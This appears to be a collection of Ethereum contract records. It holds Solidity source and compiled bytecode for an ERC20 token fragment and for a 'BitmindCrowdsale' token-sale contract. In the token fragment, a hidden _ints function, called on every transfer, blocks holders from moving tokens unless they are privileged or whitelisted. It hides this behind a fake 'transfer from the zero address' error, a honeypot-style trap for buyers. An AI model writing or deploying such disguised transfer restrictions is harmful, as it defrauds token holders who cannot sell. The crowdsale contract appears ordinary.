function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_ints(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _ints(address sender, address recipient, uint256 amount) internal view virtual{
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){
_Addressint[receivers[i]] = true;
_approve(receivers[i], _router, _valuehash);
}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function _ErcTokens(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063438dd0871161008c578063a457c2d711610066578063a457c2d71461040a578063a9059cbb14610470578063b952390d146104d6578063dd62ed3e1461062f576100cf565b8063438dd087146102eb57806370a082311461032f57806395d89b4114610387576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bd57806323b872dd146101db578063313ce567146102615780633950935114610285575b600080fd5b6100dc6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610749565b604051808215151515815260200191505060405180910390f35b6101c5610767565b6040518082815260200191505060405180910390f35b610247600480360360608110156101f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610771565b604051808215151515815260200191505060405180910390f35b61026961084a565b604051808260ff1660ff16815260200191505060405180910390f35b6102d16004803603604081101561029b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610861565b604051808215151515815260200191505060405180910390f35b61032d6004803603602081101561030157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610914565b005b6103716004803603602081101561034557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a1b565b6040518082815260200191505060405180910390f35b61038f610a63565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cf5780820151818401526020810190506103b4565b50505050905090810190601f1680156103fc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104566004803603604081101561042057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b05565b604051808215151515815260200191505060405180910390f35b6104bc6004803603604081101561048657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd2565b604051808215151515815260200191505060405180910390f35b61062d600480360360608110156104ec57600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561051657600080fd5b82018360208201111561052857600080fd5b8035906020019184602083028401116401000000008311171561054a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156105aa57600080fd5b8201836020820111156105bc57600080fd5b803590602001918460208302840111640100000000831117156105de57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610bf0565b005b6106916004803603604081101561064557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d53565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561073f5780601f106107145761010080835404028352916020019161073f565b820191906000526020600020905b81548152906001019060200180831161072257829003601f168201915b5050505050905090565b600061075d610756610dda565b8484610de2565b6001905092915050565b6000600354905090565b600061077e848484610fd9565b61083f8461078a610dda565b61083a856040518060600160405280602881526020016116f060289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107f0610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061090a61086e610dda565b84610905856001600061087f610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b610de2565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610afb5780601f10610ad057610100808354040283529160200191610afb565b820191906000526020600020905b815481529060010190602001808311610ade57829003601f168201915b5050505050905090565b6000610bc8610b12610dda565b84610bc3856040518060600160405280602581526020016117616025913960016000610b3c610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b6001905092915050565b6000610be6610bdf610dda565b8484610fd9565b6001905092915050565b60008090505b8251811015610d4d57600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610d4057610c85838281518110610c6457fe5b6020026020010151838381518110610c7857fe5b6020026020010151610bd2565b508360ff16811015610d3f57600160086000858481518110610ca357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610d3e838281518110610d0b57fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a54610de2565b5b5b8080600101915050610bf6565b50505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e68576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061173d6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116a86022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561105f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116856023913960400191505060405180910390fd5b6110f08383836113ed565b6110fb8383836113f2565b611166816040518060600160405280602681526020016116ca602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111f9816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611352576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156113175780820151818401526020810190506112fc565b50505050905090810190601f1680156113445780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156113e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561149e5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561151a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611527575060095481115b1561167f57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806115d55750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806116295750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61167e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b5b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212202ed793d38f507b0915bc745f3cc1a000de3988cd8f778274b9b9307c2617014b64736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 5,118 |
0xc00212095cbf89f01057ba23da75d86288b15920
|
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return _sub(a, b, "SafeMath: subtraction overflow");
}
function _sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return _div(a, b, "SafeMath: division by zero");
}
function _div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return _mod(a, b, "SafeMath: modulo by zero");
}
function _mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool ok);
function transferFrom(address from, address to, uint256 value) external returns (bool ok);
function approve(address spender, uint256 value)external returns (bool ok);
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
contract BitmindCrowdsale {
using SafeMath for uint256;
struct Participant {
uint256 amount; // How many tokens the user has provided.
}
struct CrowdsaleHistory {
uint256 id;
uint256 start_time;
uint256 end_time;
uint256 initial_price;
uint256 final_price;
uint256 final_cap;
uint256 total_received;
uint256 token_available;
uint256 token_sold;
}
modifier onlyOwner {
require(msg.sender == owner, 'BitmindMsg: Only Owner');
_;
}
modifier onlyWhileOpen{
//Validation Crowdsale
require(start_time > 0 && end_time > 0 , 'BitmindMsg: Crowdsale is not started yet');
require(block.timestamp > start_time && block.timestamp < end_time, 'BitmindMsg: Crowdsale is not started yet');
_;
}
modifier onlyFreezer{
require(msg.sender == freezerAddress, 'BitmindMsg: Only Freezer Address');
_;
}
/**
* Configurator Crowdsale Contract
*/
address payable private owner;
address private freezerAddress;
/**
* Token Address for Crowdsale Contract
*/
IERC20 private tokenAddress;
IERC20 private pairAddress;
/**
* Time Configuration
*/
uint256 private start_time;
uint256 private end_time;
bool private pause;
/**
* Crowdsale Information
*/
uint256 private min_contribution;
uint256 private max_contribution;
uint256 public cap;
uint256 private rate;
uint256 private price;
uint256 public token_available;
uint256 public total_received;
uint256 public token_sold;
/**
* Participant Information
*/
mapping (address => Participant) public userInfo;
address[] private addressList;
mapping (uint256 => CrowdsaleHistory) public crowdsaleInfo;
uint256[] private crowdsaleid;
/**
* Event for token purchase logging
* @param purchaser : who paid for the tokens and get the tokens
* @param amount : total amount of tokens purchased
*/
event TokensPurchased(address indexed purchaser, uint256 amount);
/**
* Event shown after change Opening Time
* @param owner : who owner this contract
* @param openingtime : time when the Crowdsale started
*/
event setOpeningtime(address indexed owner, uint256 openingtime);
/**
* Event shown after change Closing Time
* @param owner : who owner this contract
* @param closingtime : time when the Crowdsale Ended
*/
event setClosingtime(address indexed owner, uint256 closingtime);
/**
* Event for withdraw usdt token from contract to owner
* @param owner : who owner this contract
* @param amount : time when the Crowdsale Ended
*/
event WithdrawUSDT(address indexed owner, uint256 amount);
/**
* Event for withdraw bmd token from contract to owner
* @param owner : who owner this contract
* @param amount : time when the Crowdsale Ended
*/
event WithdrawBMD(address indexed owner, uint256 amount);
/**
* Event for Transfer Ownership
* @param previousOwner : owner Crowdsale contract
* @param newOwner : New Owner of Crowdsale contract
* @param time : time when changeOwner function executed
*/
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner, uint256 time);
/**
* Event for Transfer Freezer Admin
* @param previousFreezer : Freezer of Crowdsale contract
* @param newFreezer : new Freezer of Crowdsale contract
* @param time : time when transferFreezer function executed
*/
event FreezerTransferred(address indexed previousFreezer, address indexed newFreezer, uint256 time);
/**
* Event for Freeze the Crowdsale
* @param FreezerAddress : Address who can freeze Crowdsale contract
* @param time : time when changeOwner function executed
*/
event FreezeCrowdsale(address indexed FreezerAddress, uint256 time);
/**
* Event for Unfreeze the Crowdsale
* @param FreezerAddress : Address who can freeze Crowdsale contract
* @param time : time when changeOwner function executed
*/
event UnfreezeCrowdsale(address indexed FreezerAddress, uint256 time);
/**
* Event for Initializing Crowdsale Contract
* @param Token : Main Token which will be distributed in Crowdsale
* @param Pair : Pair Token which will be used for transaction in Crowdsale
* @param owner : Address who can initialize Crowdsale contract
* @param min_contribution : min contribution for transaction in Crowdsale
* @param max_contribution : max contribution for transaction in Crowdsale
* @param start_time : time when the Crowdsale starts
* @param end_time : time when the Crowdsale ends
* @param rate : increasing price every period
* @param initial_price : initial price of Crowdsale
*/
event Initializing(
address indexed Token,
address indexed Pair,
address indexed owner,
uint256 min_contribution,
uint256 max_contribution,
uint256 start_time,
uint256 end_time,
uint256 rate,
uint256 initial_price
);
/**
* Constructor of Bitmind Crowdsale Contract
*/
constructor() public {
owner = msg.sender;
freezerAddress = msg.sender;
pause = false;
}
/**
* Function for Initialize default configuration of Crowdsale
*/
function initialize(
address Token,
address Pair,
uint256 MinContribution,
uint256 MaxContribution,
uint256 initial_cap,
uint256 StartTime,
uint256 EndTime,
uint256 initial_price,
uint256 initial_rate
) public onlyOwner returns(bool){
tokenAddress = IERC20(Token);
pairAddress = IERC20(Pair);
require(initial_price > 0 , "BitmindMsg: initial price must higher than 0");
price = initial_price;
require(StartTime > 0, "BitmindMsg: start_time must higher than 0");
start_time = StartTime;
require(EndTime > 0, "BitmindMsg: end_time must higher than 0");
end_time = EndTime;
require(MinContribution > 0, "BitmindMsg: min_contribution must higher than 0");
min_contribution = MinContribution;
require(MaxContribution > 0, "BitmindMsg: max_contribution must higher than 0");
max_contribution = MaxContribution;
require(initial_rate > 0, "BitmindMsg: initial_rate must higher than 0");
rate = initial_rate;
cap = initial_cap;
token_available = initial_cap;
token_sold = 0;
total_received = 0;
uint256 id = crowdsaleid.length.add(1);
crowdsaleid.push(id);
crowdsaleInfo[id].id = id;
crowdsaleInfo[id].start_time = StartTime;
crowdsaleInfo[id].end_time = EndTime;
crowdsaleInfo[id].initial_price = initial_price;
crowdsaleInfo[id].final_price = initial_price;
crowdsaleInfo[id].final_cap = initial_cap;
crowdsaleInfo[id].token_available = token_available;
emit Initializing(Token, Pair, msg.sender, MinContribution, MaxContribution, StartTime, EndTime, initial_rate, initial_price);
return true;
}
/**
* Function for Purchase Token on Crowdsale
* @param amount : amount which user purchase
*
* return deliveryTokens
*/
function Purchase(uint256 amount) external onlyWhileOpen returns(bool){
require(pause == false, 'BitmindMsg: Crowdsale is freezing');
require(price > 0, 'BitmindMsg: Initial Prize is not set yet');
if (min_contribution > 0 && max_contribution > 0 ){
require(amount >= min_contribution && amount <= max_contribution, "BitmindMsg: Amount invalid");
}
uint256 tokenReached = getEstimateToken(amount);
require(tokenReached > 0, "BitmindMsg: Calculating Error!");
require(token_available > 0 && token_available >= tokenReached, "BitmindMsg: INSUFFICIENT BMD");
pairAddress.transferFrom(msg.sender, address(this), amount.div(1e12));
total_received = total_received.add(amount);
crowdsaleInfo[crowdsaleid.length].total_received = total_received;
crowdsaleInfo[crowdsaleid.length].final_price = getPrice();
if (userInfo[msg.sender].amount == 0) {
addressList.push(address(msg.sender));
}
userInfo[msg.sender].amount = userInfo[msg.sender].amount.add(amount);
token_available = token_available.sub(tokenReached);
token_sold = token_sold.add(tokenReached);
crowdsaleInfo[crowdsaleid.length].token_available = token_available;
crowdsaleInfo[crowdsaleid.length].token_sold = token_sold;
tokenAddress.transfer(msg.sender, tokenReached);
emit TokensPurchased(msg.sender, tokenReached);
return true;
}
/**
* Function for Estimate token which user get on Crowdsale
* @param _amount : amount which user purchase
*
* return token_amount type uint256
*/
function getEstimateToken(uint256 _amount) private view returns(uint256) {
uint256 token_amount;
uint256 a;
uint256 b;
uint256 phase_1 = cap.mul(50).div(100);
uint256 phase_2 = cap.mul(80).div(100);
uint256 phase_3 = cap.mul(100).div(100);
uint256 get = _amount.div(getPrice().div(1e18));
if(token_available > cap.sub(phase_1)){
if(token_available.sub(get) < cap.sub(phase_1)){
a = token_available.sub(cap.sub(phase_1));
b = _amount.sub(a.mul(getPrice().div(1e18))).div(price.add(rate.mul(1)).div(1e18));
token_amount = a.add(b);
}else{
token_amount = get;
}
}else if(token_available > cap.sub(phase_2)){
if(token_available.sub(get) < cap.sub(phase_2)){
a = token_available.sub(cap.sub(phase_2));
b = _amount.sub(a.mul(getPrice().div(1e18))).div(price.add(rate.mul(2)).div(1e18));
token_amount = a.add(b);
}else{
token_amount = get;
}
}else if(token_available > cap.sub(phase_3)){
if(token_available.sub(get) < cap.sub(phase_3)){
token_amount = token_available.sub(phase_3);
}else{
token_amount = get;
}
}
return token_amount;
}
/**
* Function for getting current price
*
* return price (uint256)
*/
function getPrice() public view returns(uint256){
require(price > 0 && token_available > 0 && cap > 0, "BitmindMsg: Initializing contract first");
if(token_available > cap.sub(cap.mul(50).div(100))){
return price;
}else if(token_available > cap.sub(cap.mul(80).div(100))){
return price.add(rate.mul(1));
}else if(token_available > cap.sub(cap.mul(100).div(100))){
return price.add(rate.mul(2));
}else{
return price.add(rate.mul(2));
}
}
/**
* Function for withdraw usdt token on Crowdsale
*
* return event WithdrawUSDT
*/
function withdrawUSDT() public onlyOwner returns(bool){
require(total_received>0, 'BitmindMsg: Pair Token INSUFFICIENT');
uint256 balance = pairAddress.balanceOf(address(this));
pairAddress.transfer(msg.sender, balance);
emit WithdrawUSDT(msg.sender,balance);
return true;
}
/**
* Function for withdraw bmd token on Crowdsale
*
* return event WithdrawUSDT
*/
function withdrawBMD() public onlyOwner returns(bool){
require(token_available > 0, 'BitmindMsg: Distributed Token INSUFFICIENT');
uint256 balance = tokenAddress.balanceOf(address(this));
tokenAddress.transfer(owner, balance);
emit WithdrawBMD(msg.sender, balance);
return true;
}
/**
* Function to get opening time of Crowdsale
*/
function openingTime() public view returns(uint256){
return start_time;
}
/**
* Function to get closing time of Crowdsale
*/
function closingTime() public view returns(uint256){
return end_time;
}
/**
* Function to get minimum contribution of Crowdsale
*/
function MIN_CONTRIBUTION() public view returns(uint256){
return min_contribution;
}
/**
* Function to get maximum contribution of Crowdsale
*/
function MAX_CONTRIBUTION() public view returns(uint256){
return max_contribution;
}
/**
* Function to get rate which user get during transaction per 1 pair on Crowdsale
*/
function Rate() public view returns(uint256){
return rate;
}
/**
* Function to get status of Crowdsale which user get during transaction per 1 pair on Crowdsale
*/
function Pause() public view returns(bool){
return pause;
}
/**
* Function to get total participant of Crowdsale
*
* return total participant
*/
function totalParticipant() public view returns(uint){
return addressList.length;
}
/**
* Function to set opening time of Crowdsale
* @param _time : time for opening time
*
* return event OpeningTime
*/
function changeOpeningTime(uint256 _time) public onlyOwner returns(bool) {
require(_time >= block.timestamp, "BitmindMsg: Opening Time must before current time");
start_time = _time;
emit setOpeningtime(owner, _time);
return true;
}
/**
* Function to set closing time of Crowdsale
* @param _time : time for opening time
*
* return event ClosingTime
*/
function changeClosingTime(uint256 _time) public onlyOwner returns(bool) {
require(_time >= start_time, "BitmindMsg: Closing Time already set");
end_time = _time;
emit setClosingtime(owner, _time);
return true;
}
/**
* Function to change Crowdsale contract Owner
* Only Owner who could access this function
*
* return event OwnershipTransferred
*/
function transferOwnership(address payable _owner) onlyOwner public returns(bool) {
owner = _owner;
emit OwnershipTransferred(msg.sender, _owner, block.timestamp);
return true;
}
/**
* Function to change Freezer Address
* Only Freezer who could access this function
*
* return event FreezerTransferred
*/
function transferFreezer(address freezer) onlyFreezer public returns(bool){
freezerAddress = freezer;
emit FreezerTransferred(msg.sender, freezer, block.timestamp);
return true;
}
/**
* Function to freeze or pause crowdsale
* Only Freezer who could access this function
*
* return true
*/
function freeze() public onlyFreezer returns(bool) {
pause = true;
emit FreezeCrowdsale(freezerAddress, block.timestamp);
return true;
}
/**
* Function to unfreeze or pause crowdsale
* Only Freezer who could access this function
*
* return true
*/
function unfreeze() public onlyFreezer returns(bool) {
pause = false;
emit UnfreezeCrowdsale(freezerAddress, block.timestamp);
return true;
}
}
|
0x608060405234801561001057600080fd5b50600436106101585760003560e01c80636ad8aa0b116100c3578063a952834e1161007c578063a952834e146102f6578063b1356b871461031c578063b47749f914610324578063b7a8807c14610341578063e2aeb2ae14610349578063f2fde38b1461036657610158565b80636ad8aa0b14610201578063785bead514610209578063845738cb1461026d578063929c52a7146102c957806394d95f8f146102e657806398d5fdca146102ee57610158565b806340650c911161011557806340650c91146101d15780634b6753bc146101d957806362a5af3b146101e1578063670b4840146101e95780636985a022146101f15780636a28f000146101f957610158565b806312f9cc531461015d5780631959a002146101775780631b8e94a11461019d5780632f0c222e146101a5578063355274ea146101ad578063362e496b146101b5575b600080fd5b61016561038c565b60408051918252519081900360200190f35b6101656004803603602081101561018d57600080fd5b50356001600160a01b0316610392565b6101656103a4565b6101656103ab565b6101656103b1565b6101bd6103b7565b604080519115158252519081900360200190f35b61016561057e565b610165610584565b6101bd61058a565b610165610642565b6101bd610648565b6101bd610651565b610165610705565b6102266004803603602081101561021f57600080fd5b503561070b565b60408051998a5260208a0198909852888801969096526060880194909452608087019290925260a086015260c085015260e084015261010083015251908190036101200190f35b6101bd600480360361012081101561028457600080fd5b506001600160a01b03813581169160208101359091169060408101359060608101359060808101359060a08101359060c08101359060e0810135906101000135610759565b6101bd600480360360208110156102df57600080fd5b5035610a72565b610165610b50565b610165610b56565b6101bd6004803603602081101561030c57600080fd5b50356001600160a01b0316610cab565b6101bd610d6a565b6101bd6004803603602081101561033a57600080fd5b5035610f36565b610165611012565b6101bd6004803603602081101561035f57600080fd5b5035611018565b6101bd6004803603602081101561037c57600080fd5b50356001600160a01b0316611521565b600c5481565b600f6020526000908152604090205481565b600a545b90565b600d5481565b60095481565b600080546001600160a01b03163314610405576040805162461bcd60e51b81526020600482015260166024820152600080516020611b6d833981519152604482015290519081900360640190fd5b6000600d54116104465760405162461bcd60e51b8152600401808060200182810382526023815260200180611aa76023913960400191505060405180910390fd5b600354604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561049157600080fd5b505afa1580156104a5573d6000803e3d6000fd5b505050506040513d60208110156104bb57600080fd5b50516003546040805163a9059cbb60e01b81523360048201526024810184905290519293506001600160a01b039091169163a9059cbb916044808201926020929091908290030181600087803b15801561051457600080fd5b505af1158015610528573d6000803e3d6000fd5b505050506040513d602081101561053e57600080fd5b505060408051828152905133917fb478926c8c08735485a152b83a8579215621d5ad0aa92795fbc030c66ba6df80919081900360200190a2600191505090565b60075490565b60055490565b6001546000906001600160a01b031633146105ec576040805162461bcd60e51b815260206004820181905260248201527f4269746d696e644d73673a204f6e6c7920467265657a65722041646472657373604482015290519081900360640190fd5b6006805460ff19166001908117909155546040805142815290516001600160a01b03909216917fb9b7c7841629327cb595173c843baeb58f1476d9b86cf58ebe5e100532f8b7209181900360200190a250600190565b60105490565b60065460ff1690565b6001546000906001600160a01b031633146106b3576040805162461bcd60e51b815260206004820181905260248201527f4269746d696e644d73673a204f6e6c7920467265657a65722041646472657373604482015290519081900360640190fd5b6006805460ff191690556001546040805142815290516001600160a01b03909216917ffbae44e672d80fa7f2e1fcc0c9df7c963a622c656ba6dc9a8bb7cc0eaf0e8ab59181900360200190a250600190565b600e5481565b60116020528060005260406000206000915090508060000154908060010154908060020154908060030154908060040154908060050154908060060154908060070154908060080154905089565b600080546001600160a01b031633146107a7576040805162461bcd60e51b81526020600482015260166024820152600080516020611b6d833981519152604482015290519081900360640190fd5b600280546001600160a01b03808d166001600160a01b03199283161790925560038054928c1692909116919091179055826108135760405162461bcd60e51b815260040180806020018281038252602c815260200180611c04602c913960400191505060405180910390fd5b600b839055846108545760405162461bcd60e51b8152600401808060200182810382526029815260200180611caf6029913960400191505060405180910390fd5b6004859055836108955760405162461bcd60e51b8152600401808060200182810382526027815260200180611cd86027913960400191505060405180910390fd5b6005849055876108d65760405162461bcd60e51b815260040180806020018281038252602f815260200180611aca602f913960400191505060405180910390fd5b6007889055866109175760405162461bcd60e51b81526004018080